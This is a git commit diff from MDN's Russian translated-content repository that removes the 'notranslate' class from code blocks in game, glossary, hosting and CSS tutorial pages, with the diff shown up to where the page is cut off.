diff options
| author | Alexey Pyltsyn <lex61rus@gmail.com> | 2021-10-27 02:31:24 +0300 |
|---|---|---|
| committer | GitHub <noreply@github.com> | 2021-10-27 02:31:24 +0300 |
| commit | 980fe00a74a9ad013b945755415ace2e5429c3c2 (patch) | |
| tree | a1c6bb4b302e69bfa53eab13e44500eba55d1696 /files | |
| parent | 374a039b97a11ee7306539d16aaab27fed66b398 (diff) | |
| download | translated-content-980fe00a74a9ad013b945755415ace2e5429c3c2.tar.gz translated-content-980fe00a74a9ad013b945755415ace2e5429c3c2.tar.bz2 translated-content-980fe00a74a9ad013b945755415ace2e5429c3c2.zip | |
[RU] Remove notranslate (#2874)
Diffstat (limited to 'files')
439 files changed, 3297 insertions, 3297 deletions
diff --git a/files/ru/games/anatomy/index.html b/files/ru/games/anatomy/index.html index b3022fa527..019b6276ab 100644 --- a/files/ru/games/anatomy/index.html +++ b/files/ru/games/anatomy/index.html @@ -32,7 +32,7 @@ original_slug: Games/Анатомия <p>Некоторый код должен выполняться кадр за кадром, так зачем же прикреплять эту функцию к чему-то другому, кроме графика перерисовки браузера? В Web, <code>{{ domxref("window.requestAnimationFrame()") }}</code> будет основой большинства хорошо запрограммированных покадровых основных циклов. Callback функция должна быть передана ему при вызове. Callback функция будет выполнена в подходящее время перед следующей перерисовкой. Вот пример простого основного цикла:</p> -<pre class="brush: js notranslate">window.main = function () { +<pre class="brush: js">window.main = function () { window.requestAnimationFrame( main ); // Код, который цикл должен выполнить @@ -56,7 +56,7 @@ main(); // Start the cycle</pre> <p>У нашего цикла есть две очевидные проблемы: <code>main()</code> загрязняет <code>{{ domxref("window") }}</code> объект (в нем хранятся все глобальные переменные) и код не оставляет нам возможность остановить цикл, если только вся вкладка не будет закрыта или обновлена. Для решения первой проблемы, если нужно, чтобы основной цикл просто выполнялся и вам не нужен лёгкий (прямой) доступ к нему, вы можете поместить его внутрь самовызывающейся Function Expression (IIFE).</p> -<pre class="brush: js notranslate">/* +<pre class="brush: js">/* * Начинаем с точки с запятой в случае, если какая-либо строка кода выше данного примера * полагается на автоматическую вставку точки с запятой (ASI). Браузер может случайно решить, * что весь этот код начинается с предыдущей строки. Первая точка с запятой отмечает начало @@ -81,7 +81,7 @@ main(); // Start the cycle</pre> <p>Чтобы остановить основной цикл, вам понадобиться отменить вызов <code>main()</code> с помощью <code>{{ domxref("window.cancelAnimationFrame()") }}</code>. Необходимо передать в <code>cancelAnimationFrame()</code> идентификатор последнего вызова <code>requestAnimationFrame()</code>. Давайте предположим, что функции и переменные вашей игры были определены в пространстве имён, которое вы назвали <code>MyGame</code>. В таком случае, основной цикл будет выглядеть следующим образом:</p> -<pre class="brush: js notranslate">/* +<pre class="brush: js">/* * Начинаем с точки с запятой в случае, если какая-либо строка кода выше данного примера * полагается на автоматическую вставку точки с запятой (ASI). Браузер может случайно решить, * что весь этот код начинается с предыдущей строки. Первая точка с запятой отмечает начало @@ -102,7 +102,7 @@ main(); // Start the cycle</pre> <p>Теперь у нас есть переменная <code>stopMain</code>, объявленная в нашем пространстве имён <code>MyGame</code>, которая содержит идентификатор последнего вызова <code>requestAnimationFrame()</code> нашего основного цикла. В любой момент мы может остановить основной цикл, сказав браузеру, чтобы тот отменил запрос, соответствующий последнему маркеру.</p> -<pre class="brush: js notranslate">window.cancelAnimationFrame( MyGame.stopMain );</pre> +<pre class="brush: js">window.cancelAnimationFrame( MyGame.stopMain );</pre> <p>Ключ к программированию основного цикла в JavaScript заключается в том, чтобы прикрепить его к любому событию, которое должно управлять вашими действиями, и обращать внимание на то, как различные системы участвуют во взаимодействии. У вас может быть несколько компонентов, управляемых несколькими различными типами событий. Это может показаться излишним усложнением, но также может быть просто хорошей оптимизацией (не обязательно, конечно). Проблема в том, что вы не выстраиваете типичный основной цикл. В JavaScript вы используйте основной цикл браузера и стараетесь сделать это эффективно. </p> @@ -131,12 +131,12 @@ main(); // Start the cycle</pre> <p>Это значение нельзя использовать само по себе, потому что оно относиться к неинтересному событию, но его можно вычесть из другой временной ветки, чтобы чётко и точно определить, сколько времени прошло между этими двумя точками. Чтобы получить одну из этих временных меток, вы можете вызвать <code>window.performance.now()</code> и сохранить результат в переменную. </p> -<pre class="brush: js notranslate">var tNow = window.performance.now(); +<pre class="brush: js">var tNow = window.performance.now(); </pre> <p>Возвращаемся к основному циклу. Часто вам понадобиться узнать, когда ваша основная функция была вызвана. Это обычное дело, <code>window.requestAnimationFrame()</code> при выполнении всегда предоставляет метку <code>DOMHighResTimeStamp</code> в качестве аргумента для колбэк-функций. Это приводит к очередному улучшению нашего основного цикла. </p> -<pre class="brush: js notranslate">/* +<pre class="brush: js">/* * Начинаем с точки с запятой в случае, если какая-либо строка кода выше данного примера * полагается на автоматическую вставку точки с запятой (ASI). Браузер может случайно решить, * что весь этот код начинается с предыдущей строки. Первая точка с запятой отмечает начало @@ -172,7 +172,7 @@ main(); // Start the cycle</pre> <p>If your game can hit the maximum refresh rate of any hardware you support then your job is fairly easy. You can simply update, render, and then do nothing until VSync.</p> -<pre class="brush: js notranslate">/* +<pre class="brush: js">/* * Starting with the semicolon is in case whatever line of code above this example * relied on automatic semicolon insertion (ASI). The browser could accidentally * think this whole example continues from the previous line. The leading semicolon @@ -244,7 +244,7 @@ main(); // Start the cycle</pre> <p><strong>Note:</strong> This example, specifically, is in need of technical review.</p> </div> -<pre class="brush: js notranslate">/* +<pre class="brush: js">/* * Starting with the semicolon is in case whatever line of code above this example * relied on automatic semicolon insertion (ASI). The browser could accidentally * think this whole example continues from the previous line. The leading semicolon diff --git a/files/ru/games/techniques/3d_on_the_web/building_up_a_basic_demo_with_three.js/index.html b/files/ru/games/techniques/3d_on_the_web/building_up_a_basic_demo_with_three.js/index.html index 8c89ecc871..da8c8b434c 100644 --- a/files/ru/games/techniques/3d_on_the_web/building_up_a_basic_demo_with_three.js/index.html +++ b/files/ru/games/techniques/3d_on_the_web/building_up_a_basic_demo_with_three.js/index.html @@ -31,7 +31,7 @@ translation_of: Games/Techniques/3D_on_the_web/Building_up_a_basic_demo_with_Thr <p>Здесь находится HTML структура, которую мы будем использовать:</p> -<pre class="brush: html notranslate"><!DOCTYPE html> +<pre class="brush: html"><!DOCTYPE html> <html> <head> <meta charset="utf-8"> @@ -60,7 +60,7 @@ translation_of: Games/Techniques/3D_on_the_web/Building_up_a_basic_demo_with_Thr <p>Renderer это инструмент для отрисовки сцены в браузере. Есть 2 вида таких инструментов: WebGL по умолчанию, другие - Canvas, SVG, CSS, и DOM. Они различаются по тому как все рендерится. Несмотря на различия в них, для пользователя все будет выглядеть одинаково. Поэтому, вы можете выбрать запасной вариант на случай, если браузер пользователя не поддерживает выбранную вами технологию.</p> -<pre class="brush: js notranslate">var renderer = new THREE.WebGLRenderer({antialias:true}); +<pre class="brush: js">var renderer = new THREE.WebGLRenderer({antialias:true}); renderer.setSize(WIDTH, HEIGHT); renderer.setClearColor(0xDDDDDD, 1); document.body.appendChild(renderer.domElement); @@ -74,7 +74,7 @@ document.body.appendChild(renderer.domElement); <p>Сцена (scene) это место, где все происходит. Когда создаются новые объекты, они добавляются в сцену, чтобы их можно было увидеть. В three.js роль сцены выполняет объект <code>Scene</code>. Давайте создадим его, добавив следующих код:</p> -<pre class="brush: js notranslate">var scene = new THREE.Scene(); +<pre class="brush: js">var scene = new THREE.Scene(); </pre> <p>Позже, мы будем использовать метод <code>.add()</code> для добавления объектов в сцену.</p> @@ -83,7 +83,7 @@ document.body.appendChild(renderer.domElement); <p>У нас есть сцена, теперь необходимо создать камеру. С помощью следующих строк мы добавим камеру, установим её позицию в координатной системе и направим её на нужную нам точку, где расположено то, что мы хотим видеть:</p> -<pre class="brush: js notranslate">var camera = new THREE.PerspectiveCamera(70, WIDTH/HEIGHT); +<pre class="brush: js">var camera = new THREE.PerspectiveCamera(70, WIDTH/HEIGHT); camera.position.z = 50; scene.add(camera); </pre> @@ -108,7 +108,7 @@ scene.add(camera); <p>Всё уже готово, но мы пока что ничего не видим. Хотя мы настроили рендерер, нам всё равно нужно запустить рендеринг. Функция <code>render()</code> выполнит эту работу с небольшой помощью <code><a href="/en-US/docs/Web/API/window/requestAnimationFrame">requestAnimationFrame()</a></code>, которая заставляет сцену постоянно перерисовываться в каждом кадре:</p> -<pre class="brush: js notranslate">function render() { +<pre class="brush: js">function render() { requestAnimationFrame(render); renderer.render(scene, camera); } @@ -123,7 +123,7 @@ render(); <p>Now our scene is properly rendering, we can start adding 3D shapes. To speed up development, Three.js provides a bunch of predefined primitives, which you can use to create shapes instantly in a single line of code. There's cubes, spheres, cylinders, and more complicated shapes available. Detail like drawing required vertices and faces, for a given shape, is handled by the Three framework, so we can focus on higher level coding. Let's start, by defining the geometry for a cube shape, adding the following just above the <code>render()</code> function:</p> -<pre class="brush: js notranslate">var boxGeometry = new THREE.BoxGeometry(10, 10, 10); +<pre class="brush: js">var boxGeometry = new THREE.BoxGeometry(10, 10, 10); </pre> <p>In this case, we define a simple cube that is 10 x 10 x 10 units. The geometry itself is not enough though, we also need a material that will be used for our shape.</p> @@ -132,7 +132,7 @@ render(); <p>A material is what covers an object, the colors, or textures on its surface. In our case, we will choose a simple blue color to paint our box. There are a number of predefined materials which can be used: Basic, Phong, Lambert. Let's play with the last two later, but for now, the Basic one should be enough:</p> -<pre class="brush: js notranslate">var basicMaterial = new THREE.MeshBasicMaterial({color: 0x0095DD}); +<pre class="brush: js">var basicMaterial = new THREE.MeshBasicMaterial({color: 0x0095DD}); </pre> <p>Add this line below the previously added.</p> @@ -143,7 +143,7 @@ render(); <p>To apply the material to a geometry, a mesh is used. This takes on a shape, and adds the specified material to every face:</p> -<pre class="brush: js notranslate">var cube = new THREE.Mesh(boxGeometry, basicMaterial); +<pre class="brush: js">var cube = new THREE.Mesh(boxGeometry, basicMaterial); </pre> <p>Again, add this line below the one you previously added.</p> @@ -152,12 +152,12 @@ render(); <p>Сейчас мы создали куб, используя 'geometry' и 'material'. Последнее, что мы должны сделать - добавить куб на сцену. Добавьте в код эту строку:</p> -<pre class="brush: js notranslate">scene.add(cube); +<pre class="brush: js">scene.add(cube); </pre> <p>Если вы сохраните код и обновите вкладку браузера, вы увидите квадрат, а не куб, потому, что он стоит ровно напротив камеры и мы видим только одну сторону. У объектов есть полезное свойство - мы можем изменять их как хотим. Например, вы можете вращать его и масштабировать, сколько угодно. Что давайте немного повернём его, чтобы видеть больше сторон. Добавить в конец кода эту строку:</p> -<pre class="brush: js notranslate">cube.rotation.set(0.4, 0.2, 0); +<pre class="brush: js">cube.rotation.set(0.4, 0.2, 0); </pre> <p>Поздравляю, вы создали объект в 3D-среде! This might have proven easier than you first thought? Here's how it should look:</p> @@ -174,12 +174,12 @@ render(); <p>Now we will add more shapes to the scene, and explore other shapes, materials, lighting, and more. Let's move the cube to the left, to make space for some friends. Adding the following line just below the previous one:</p> -<pre class="brush: js notranslate">cube.position.x = -25; +<pre class="brush: js">cube.position.x = -25; </pre> <p>Now onto more shapes and materials. What might you input to add a torus, wrapped in the Phong material? Try adding the following lines, just below the lines defining the cube.</p> -<pre class="brush: js notranslate">var torusGeometry = new THREE.TorusGeometry(7, 1, 6, 12); +<pre class="brush: js">var torusGeometry = new THREE.TorusGeometry(7, 1, 6, 12); var phongMaterial = new THREE.MeshPhongMaterial({color: 0xFF9500}); var torus = new THREE.Mesh(torusGeometry, phongMaterial); scene.add(torus); @@ -189,7 +189,7 @@ scene.add(torus); <p>We can choose more fun predefined shapes. Let's play some more. Add the following lines, below those defining the torus:</p> -<pre class="brush: js notranslate">var dodecahedronGeometry = new THREE.DodecahedronGeometry(7); +<pre class="brush: js">var dodecahedronGeometry = new THREE.DodecahedronGeometry(7); var lambertMaterial = new THREE.MeshLambertMaterial({color: 0xEAEFF2}); var dodecahedron = new THREE.Mesh(dodecahedronGeometry, lambertMaterial); dodecahedron.position.x = 25; @@ -204,7 +204,7 @@ scene.add(dodecahedron); <p>There are various types of light sources available in Three.js. The most basic is <code>PointLight</code>, which works like a flashlight, shining a spotlight in a defined direction. Add the following lines, below your shape definitions:</p> -<pre class="brush: js notranslate">var light = new THREE.PointLight(0xFFFFFF); +<pre class="brush: js">var light = new THREE.PointLight(0xFFFFFF); light.position.set(-10, 15, 50); scene.add(light); </pre> @@ -223,7 +223,7 @@ scene.add(light); <p>Вращать фигуры просто. Вы просто добавляете или отнимаете значение по оси вращения. Добавьте эту строку кода сразу после: <code>requestAnimationFrame()</code> invocation inside the <code>render</code> function:</p> -<pre class="brush: js notranslate">cube.rotation.y += 0.01; +<pre class="brush: js">cube.rotation.y += 0.01; </pre> <p>This rotates the cube on every frame, by a tiny bit, so the animation looks smooth.</p> @@ -232,12 +232,12 @@ scene.add(light); <p>We can also scale an object. Applying a constant value, we would make it grow, or shrink just once. Let's make things more interesting. First, we implement a helper variable, called <code>t,</code> for counting elapsed time. Add it right before the <code>render()</code> function:</p> -<pre class="brush: js notranslate">var t = 0; +<pre class="brush: js">var t = 0; </pre> <p>Now let's increase the value by a given constant value, on each frame of the animation. Add the following lines, just below the <code>requestAnimationFrame()</code> invocation:</p> -<pre class="brush: js notranslate">t += 0.01; +<pre class="brush: js">t += 0.01; torus.scale.y = Math.abs(Math.sin(t)); </pre> @@ -249,7 +249,7 @@ torus.scale.y = Math.abs(Math.sin(t)); <p>Aside from rotation, and scaling, we can additionally move objects around the scene. Add the following, again just below our <code>requestAnimationFrame()</code> invocation:</p> -<pre class="brush: js notranslate">dodecahedron.position.y = -7*Math.sin(t*2); +<pre class="brush: js">dodecahedron.position.y = -7*Math.sin(t*2); </pre> <p>This will move the dodecahedron up and down, by applying the <code>sin()</code> value to the y axis on each frame, and a little adjustment to make it look cooler. Try changing these values, to see how it affects the animations.</p> diff --git a/files/ru/games/tutorials/2d_breakout_game_phaser/extra_lives/index.html b/files/ru/games/tutorials/2d_breakout_game_phaser/extra_lives/index.html index b01d6bf0ac..e4602cb279 100644 --- a/files/ru/games/tutorials/2d_breakout_game_phaser/extra_lives/index.html +++ b/files/ru/games/tutorials/2d_breakout_game_phaser/extra_lives/index.html @@ -20,7 +20,7 @@ original_slug: Games/Tutorials/Создание_2D_Breakout_игры_на_Phaser <p>Добавьте следующие переменные сразу после всех наших текущих определений переменных:</p> -<pre class="brush: js notranslate">var lives = 3; +<pre class="brush: js">var lives = 3; var livesText; var lifeLostText; </pre> @@ -31,7 +31,7 @@ var lifeLostText; <p>Надписи мы уже определяли, когда реализовывали систему <a href="https://developer.mozilla.org/ru/docs/Games/Tutorials/%D0%A1%D0%BE%D0%B7%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5_2D_Breakout_%D0%B8%D0%B3%D1%80%D1%8B_%D0%BD%D0%B0_Phaser/%D0%9E%D1%87%D0%BA%D0%B8">очков</a>. Добавьте следующие строки кода в после определения надписи <code>scoreText</code> в функции <code>create()</code>:</p> -<pre class="brush: js notranslate">livesText = game.add.text(game.world.width-5, 5, 'Lives: '+lives, { font: '18px Arial', fill: '#0095DD' }); +<pre class="brush: js">livesText = game.add.text(game.world.width-5, 5, 'Lives: '+lives, { font: '18px Arial', fill: '#0095DD' }); livesText.anchor.set(1,0); lifeLostText = game.add.text(game.world.width*0.5, game.world.height*0.5, 'Life lost, click to continue', { font: '18px Arial', fill: '#0095DD' }); lifeLostText.anchor.set(0.5); @@ -46,12 +46,12 @@ lifeLostText.visible = false; <p>Как вы могли заметить, мы используем одинаковые стили для всех надписей: <code>scoreText</code>, <code>livesText</code> и <code>lifeLostText</code>. Однако, налицо копирование кода и если мы, когда-либо, захотим изменить размер шрифта или цвет, то нам придётся делать это в нескольких местах. Чтобы избежать этого, мы вынесем стиль в отдельную переменную. Напишите следующую строку сразу после всех наших текущих определений переменных:</p> -<pre class="brush: js notranslate">var textStyle = { font: '18px Arial', fill: '#0095DD' }; +<pre class="brush: js">var textStyle = { font: '18px Arial', fill: '#0095DD' }; </pre> <p>Теперь мы можем использовать эту переменную для нашего текста — обновите ваш код и замените повторяющиеся участки со стилем текста на переменную.</p> -<pre class="brush: js notranslate">scoreText = game.add.text(5, 5, 'Points: 0', textStyle); +<pre class="brush: js">scoreText = game.add.text(5, 5, 'Points: 0', textStyle); livesText = game.add.text(game.world.width-5, 5, 'Lives: '+lives, textStyle); livesText.anchor.set(1,0); lifeLostText = game.add.text(game.world.width*0.5, game.world.height*0.5, 'Life lost, click to continue', textStyle); @@ -65,7 +65,7 @@ lifeLostText.visible = false; <p>Чтобы реализовать жизнь в нашей игре, давайте сначала изменим функцию шара, связанную с событием <code>onOutOfBounds</code>. Вместо того, чтобы выполнять анонимную функцию и сразу показывать сообщение:</p> -<pre class="brush: js notranslate"><s>ball.events.onOutOfBounds.add(function(){ +<pre class="brush: js"><s>ball.events.onOutOfBounds.add(function(){ alert('Game over!'); location.reload(); }, this);</s> @@ -73,12 +73,12 @@ lifeLostText.visible = false; <p>Мы объявим новую функцию <code>ballLeaveScreen</code>; Удалим предыдущий обработчик (зачёркнутый код сверху) и заменим его следующей линией:</p> -<pre class="brush: js notranslate">ball.events.onOutOfBounds.add(ballLeaveScreen, this); +<pre class="brush: js">ball.events.onOutOfBounds.add(ballLeaveScreen, this); </pre> <p>Мы будем уменьшать количество жизней каждый раз, когда шар выйдет за пределы окна Canvas. Добавьте функцию <code>ballLeaveScreen()</code> в конец кода:</p> -<pre class="brush: js notranslate">function ballLeaveScreen() { +<pre class="brush: js">function ballLeaveScreen() { lives--; if(lives) { livesText.setText('Lives: '+lives); diff --git a/files/ru/glossary/css/index.html b/files/ru/glossary/css/index.html index b6f9240e80..8fda8f3e8b 100644 --- a/files/ru/glossary/css/index.html +++ b/files/ru/glossary/css/index.html @@ -14,7 +14,7 @@ original_slug: Глоссарий/CSS <p>CSS-правило состоит из {{Glossary("selector","селектора")}} и набора {{Glossary("CSS Property","свойств")}} с их значениями. В этом примере все HTML параграфы будут иметь текст жёлтого цвета на чёрном фоне:</p> -<pre class="brush: css notranslate">/* Селектор "p" означает, что данное правило будет применено ко всем параграфам в документе */ +<pre class="brush: css">/* Селектор "p" означает, что данное правило будет применено ко всем параграфам в документе */ p { /* Свойство "color" определяет цвет текста, в данном случае желтый. */ color: yellow; diff --git a/files/ru/glossary/css_selector/index.html b/files/ru/glossary/css_selector/index.html index 83d5e61929..d0024eab62 100644 --- a/files/ru/glossary/css_selector/index.html +++ b/files/ru/glossary/css_selector/index.html @@ -12,7 +12,7 @@ original_slug: Глоссарий/CSS_Selector --- <p><strong>CSS-селектор</strong> это часть CSS-правила, которая позволяет вам указать, к какому элементу (элементам) применить стиль. Например:</p> -<pre class="notranslate"><code>***HTML*** +<pre><code>***HTML*** <div> I am inside of a div element. </div> <p> I am inside of a paragraph element. </p> diff --git a/files/ru/glossary/idempotent/index.html b/files/ru/glossary/idempotent/index.html index 25308782f9..fe7ac4dd64 100644 --- a/files/ru/glossary/idempotent/index.html +++ b/files/ru/glossary/idempotent/index.html @@ -15,7 +15,7 @@ original_slug: Глоссарий/Idempotent <p><code>GET /pageX HTTP/1.1</code> идемпотентен. Вызвавший несколько раз подряд этот запрос, клиент получит тот же результат:</p> -<pre class="notranslate">GET /pageX HTTP/1.1 +<pre>GET /pageX HTTP/1.1 GET /pageX HTTP/1.1 GET /pageX HTTP/1.1 GET /pageX HTTP/1.1 @@ -23,14 +23,14 @@ GET /pageX HTTP/1.1 <p><code>POST /add_row HTTP/1.1</code> не идемпотентен; если его вызвать несколько раз, то он добавит несколько строк:</p> -<pre class="notranslate">POST /add_row HTTP/1.1 +<pre>POST /add_row HTTP/1.1 POST /add_row HTTP/1.1 -> Adds a 2nd row POST /add_row HTTP/1.1 -> Adds a 3rd row </pre> <p><code>DELETE /idX/delete HTTP/1.1</code> идемпотентен, даже если возвращаемый код отличается:</p> -<pre class="notranslate">DELETE /idX/delete HTTP/1.1 -> Returns 200 if idX exists +<pre>DELETE /idX/delete HTTP/1.1 -> Returns 200 if idX exists DELETE /idX/delete HTTP/1.1 -> Returns 404 as it just got deleted DELETE /idX/delete HTTP/1.1 -> Returns 404</pre> diff --git a/files/ru/glossary/jquery/index.html b/files/ru/glossary/jquery/index.html index 5703bcb19c..bf56ff7cbc 100644 --- a/files/ru/glossary/jquery/index.html +++ b/files/ru/glossary/jquery/index.html @@ -8,14 +8,14 @@ original_slug: Глоссарий/jQuery <p>jQuery синтаксис использования <code>$(selector).action()</code> позволяет выбранному селектору совершить действие.Пример:</p> -<pre class="notranslate">$(document).ready(function(){ +<pre>$(document).ready(function(){ alert("Hello World!"); }); </pre> <p>JQuery имеет аналогичный эффект, что и следующий код JavaScript:</p> -<pre class="brush: js notranslate">window.onload = function() { +<pre class="brush: js">window.onload = function() { alert( "Hello World!" ); }; </pre> diff --git a/files/ru/glossary/safe/index.html b/files/ru/glossary/safe/index.html index 5cba85f6ff..23c6ced6a7 100644 --- a/files/ru/glossary/safe/index.html +++ b/files/ru/glossary/safe/index.html @@ -17,16 +17,16 @@ original_slug: Глоссарий/safe <p>Вызов <em>безопасного </em>метода, не меняющего состояния сервера:</p> -<pre class="notranslate">GET /pageX.html HTTP/1.1 +<pre>GET /pageX.html HTTP/1.1 </pre> <p>Вызов <em>небезопасного </em>метода, который может поменять состояние сервера:</p> -<pre class="notranslate">POST /pageX.html HTTP/1.1 </pre> +<pre>POST /pageX.html HTTP/1.1 </pre> <p>Вызов идемпотентного, но небезопасного метода:</p> -<pre class="notranslate">DELETE /idX/delete HTTP/1.1</pre> +<pre>DELETE /idX/delete HTTP/1.1</pre> <h2 id="Материалы_для_изучения">Материалы для изучения</h2> diff --git a/files/ru/glossary/truthy/index.html b/files/ru/glossary/truthy/index.html index d6323960ac..c1ecc2b86b 100644 --- a/files/ru/glossary/truthy/index.html +++ b/files/ru/glossary/truthy/index.html @@ -15,7 +15,7 @@ original_slug: Глоссарий/Truthy <p>Примеры истинных значений в JavaScript (которые будут приведены к true в булевых выражениях, и таким образом выполниться блок if):</p> -<pre class="brush: js notranslate">if (true) +<pre class="brush: js">if (true) if ({}) if ([]) if (42) diff --git a/files/ru/glossary/vendor_prefix/index.html b/files/ru/glossary/vendor_prefix/index.html index 60d2281041..d81304c644 100644 --- a/files/ru/glossary/vendor_prefix/index.html +++ b/files/ru/glossary/vendor_prefix/index.html @@ -25,7 +25,7 @@ original_slug: Глоссарий/Vendor_Prefix <p>Sample usage:</p> -<pre class="notranslate"><em>-webkit-</em>transition: all 4s ease; +<pre><em>-webkit-</em>transition: all 4s ease; <em>-moz-</em>transition: all 4s ease; <em>-ms-</em>transition: all 4s ease; <em>-o-</em>transition: all 4s ease; @@ -59,7 +59,7 @@ transition: all 4s ease; </pre> <p>Sample usage:</p> -<pre class="brush: js notranslate">var requestAnimationFrame = window.requestAnimationFrame || +<pre class="brush: js">var requestAnimationFrame = window.requestAnimationFrame || window.mozRequestAnimationFrame || window.webkitRequestAnimationFrame || window.oRequestAnimationFrame || diff --git a/files/ru/learn/common_questions/how_do_you_host_your_website_on_google_app_engine/index.html b/files/ru/learn/common_questions/how_do_you_host_your_website_on_google_app_engine/index.html index 449e24f887..273618ce86 100644 --- a/files/ru/learn/common_questions/how_do_you_host_your_website_on_google_app_engine/index.html +++ b/files/ru/learn/common_questions/how_do_you_host_your_website_on_google_app_engine/index.html @@ -45,10 +45,10 @@ translation_of: Learn/Common_questions/How_do_you_host_your_website_on_Google_Ap <img alt="Code Editor from Cloud Shell toolbar" src="https://mdn.mozillademos.org/files/15940/Screen%20Shot%202018-05-09%20at%2023.13.21.png" style="height: 590px; width: 3000px;"></li> <li>С помощью drag and drop разместите папку <code>sample-app</code> в левой панели редактора кода.</li> <li>Вернитесь обратно в Cloud Shell и введите следующую команду для перехода в директорию вашего приложения: - <pre class="brush:bash no-line-numbers notranslate" style="margin: 1em 0;">cd sample-app</pre> + <pre class="brush:bash no-line-numbers" style="margin: 1em 0;">cd sample-app</pre> </li> <li>Теперь вы готовы развернуть ваше приложение, т.е. загрузить его в App Engine: - <pre class="brush:bash no-line-numbers notranslate" style="margin: 1em 0;">gcloud app deploy</pre> + <pre class="brush:bash no-line-numbers" style="margin: 1em 0;">gcloud app deploy</pre> </li> <li>Введите число от одного до семи, чтобы выбрать регион, в котором вы хотите разместить своё приложение.</li> <li>Нажмите <code>Y</code> для подтверждения.</li> diff --git a/files/ru/learn/common_questions/set_up_a_local_testing_server/index.html b/files/ru/learn/common_questions/set_up_a_local_testing_server/index.html index d5d0f440ba..67059b421c 100644 --- a/files/ru/learn/common_questions/set_up_a_local_testing_server/index.html +++ b/files/ru/learn/common_questions/set_up_a_local_testing_server/index.html @@ -59,12 +59,12 @@ translation_of: Learn/Common_questions/set_up_a_local_testing_server <li> <p>Откройте командную строку (Windows)/ (OS X/Linux). Для проверки установки Python введите следующую команду:</p> - <pre class="brush: bash notranslate">python -V</pre> + <pre class="brush: bash">python -V</pre> </li> <li> <p>Система вернёт вам номер версии установленной программы. В случае успешного выполнения команды <code>python -V </code> нужно перейти в директорию с вашим проектом, используя команду <code>cd</code>:</p> - <pre class="brush: bash notranslate"># include the directory name to enter it, for example + <pre class="brush: bash"># include the directory name to enter it, for example cd Desktop # use two dots to jump up one directory level if you need to cd ..</pre> @@ -72,7 +72,7 @@ cd ..</pre> <li> <p>Введите команду для запуска сервера в том каталоге:</p> - <pre class="brush: bash notranslate"># If Python version returned above is 3.X + <pre class="brush: bash"># If Python version returned above is 3.X python -m http.server # If Python version returned above is 2.X python -m <code>SimpleHTTPServer</code></pre> diff --git a/files/ru/learn/common_questions/upload_files_to_a_web_server/index.html b/files/ru/learn/common_questions/upload_files_to_a_web_server/index.html index cd1ce35f94..a4b5bc0706 100644 --- a/files/ru/learn/common_questions/upload_files_to_a_web_server/index.html +++ b/files/ru/learn/common_questions/upload_files_to_a_web_server/index.html @@ -124,7 +124,7 @@ translation_of: Learn/Common_questions/Upload_files_to_a_web_server <p>It is seen as a more advanced tool than SFTP, beause by default it is used on the command line. A basic command looks like so:</p> -<pre class="brush: bash notranslate">rsync [-options] SOURCE user@x.x.x.x:DESTINATION</pre> +<pre class="brush: bash">rsync [-options] SOURCE user@x.x.x.x:DESTINATION</pre> <ul> <li><code>-options</code> is a dash followed by a one or more letters, for example <code>-v</code> for verbose error messages, and <code>-b</code> to make backups. You can see the full list at the <a href="https://linux.die.net/man/1/rsync">rsync man page</a> (search for "Options summary").</li> @@ -140,7 +140,7 @@ translation_of: Learn/Common_questions/Upload_files_to_a_web_server <p>Of course, it is a good idea to use a secure connection, like with FTP. In the case of Rsync, you specify SSH details to make the connection over SSH, using the <code>-e</code> option. For example:</p> -<pre class="brush: bash notranslate">rsync [-options] -e "ssh [SSH DETAILS GO HERE]" SOURCE user@x.x.x.x:DESTINATION</pre> +<pre class="brush: bash">rsync [-options] -e "ssh [SSH DETAILS GO HERE]" SOURCE user@x.x.x.x:DESTINATION</pre> <p>You can find more details of what is needed at <a href="https://www.digitalocean.com/community/tutorials/how-to-copy-files-with-rsync-over-ssh">How To Copy Files With Rsync Over SSH</a>.</p> diff --git a/files/ru/learn/css/building_blocks/backgrounds_and_borders/index.html b/files/ru/learn/css/building_blocks/backgrounds_and_borders/index.html index ab427b275c..555908dac6 100644 --- a/files/ru/learn/css/building_blocks/backgrounds_and_borders/index.html +++ b/files/ru/learn/css/building_blocks/backgrounds_and_borders/index.html @@ -34,7 +34,7 @@ translation_of: Learn/CSS/Building_blocks/Backgrounds_and_borders <p><span class="tlid-translation translation" lang="ru"><span title="">CSS-свойство {{cssxref ("background")}} является сокращением для ряда полных свойств фона, с которыми мы познакомимся в этом уроке.</span> <span title="">Если вы обнаружите сложное свойство </span></span><code>background</code><span class="tlid-translation translation" lang="ru"><span title=""> в таблице стилей, это может показаться трудным для понимания, так как одновременно может быть передано так много значений.</span></span></p> -<pre class="brush: css notranslate"><code>.box { +<pre class="brush: css"><code>.box { background: linear-gradient(105deg, rgba(255,255,255,.2) 39%, rgba(51,56,57,1) 96%) center center / 400px 200px no-repeat, url(big-star.png) center no-repeat, rebeccapurple; } </code> @@ -116,7 +116,7 @@ translation_of: Learn/CSS/Building_blocks/Backgrounds_and_borders <p><span class="tlid-translation translation" lang="ru"><span title="">Вы можете использовать такие ключевые слова, как <code>top</code> и <code>right</code> (с остальными можете ознакомиться на странице {{cssxref ("background-position")}}):</span></span></p> -<pre class="brush: css notranslate"><code>.box { +<pre class="brush: css"><code>.box { background-image: url(star.png); background-repeat: no-repeat; background-position: top center; @@ -125,7 +125,7 @@ translation_of: Learn/CSS/Building_blocks/Backgrounds_and_borders <p>Допустимы значения <a href="/ru/docs/Web/CSS/размер">длины</a> и <a href="/ru/docs/Web/CSS/percentage">процентные</a>:</p> -<pre class="brush: css notranslate"><code>.box { +<pre class="brush: css"><code>.box { background-image: url(star.png); background-repeat: no-repeat; background-position: 20px 10%; @@ -134,7 +134,7 @@ translation_of: Learn/CSS/Building_blocks/Backgrounds_and_borders <p><span class="tlid-translation translation" lang="ru"><span title="">Вы также можете смешивать значения ключевых слов с длинами или процентами, например:</span></span></p> -<pre class="brush: css notranslate">.box { +<pre class="brush: css">.box { background-image: url(star.png); background-repeat: no-repeat; background-position: top 20px; @@ -142,7 +142,7 @@ translation_of: Learn/CSS/Building_blocks/Backgrounds_and_borders <p><span class="tlid-translation translation" lang="ru"><span title="">И наконец, вы также можете использовать синтаксис с четырьмя значениями, чтобы указать расстояние от определённых краёв блока - единица длины в данном случае представляет собой смещение от значения ключевого слова.</span> <span title="">Итак, в CSS ниже мы сместили фон на 20 пикселей сверху и на 10 пикселей справа:</span></span></p> -<pre class="brush: css notranslate"><code>.box { +<pre class="brush: css"><code>.box { background-image: url(star.png); background-repeat: no-repeat; background-position: top 20px right 10px; @@ -178,7 +178,7 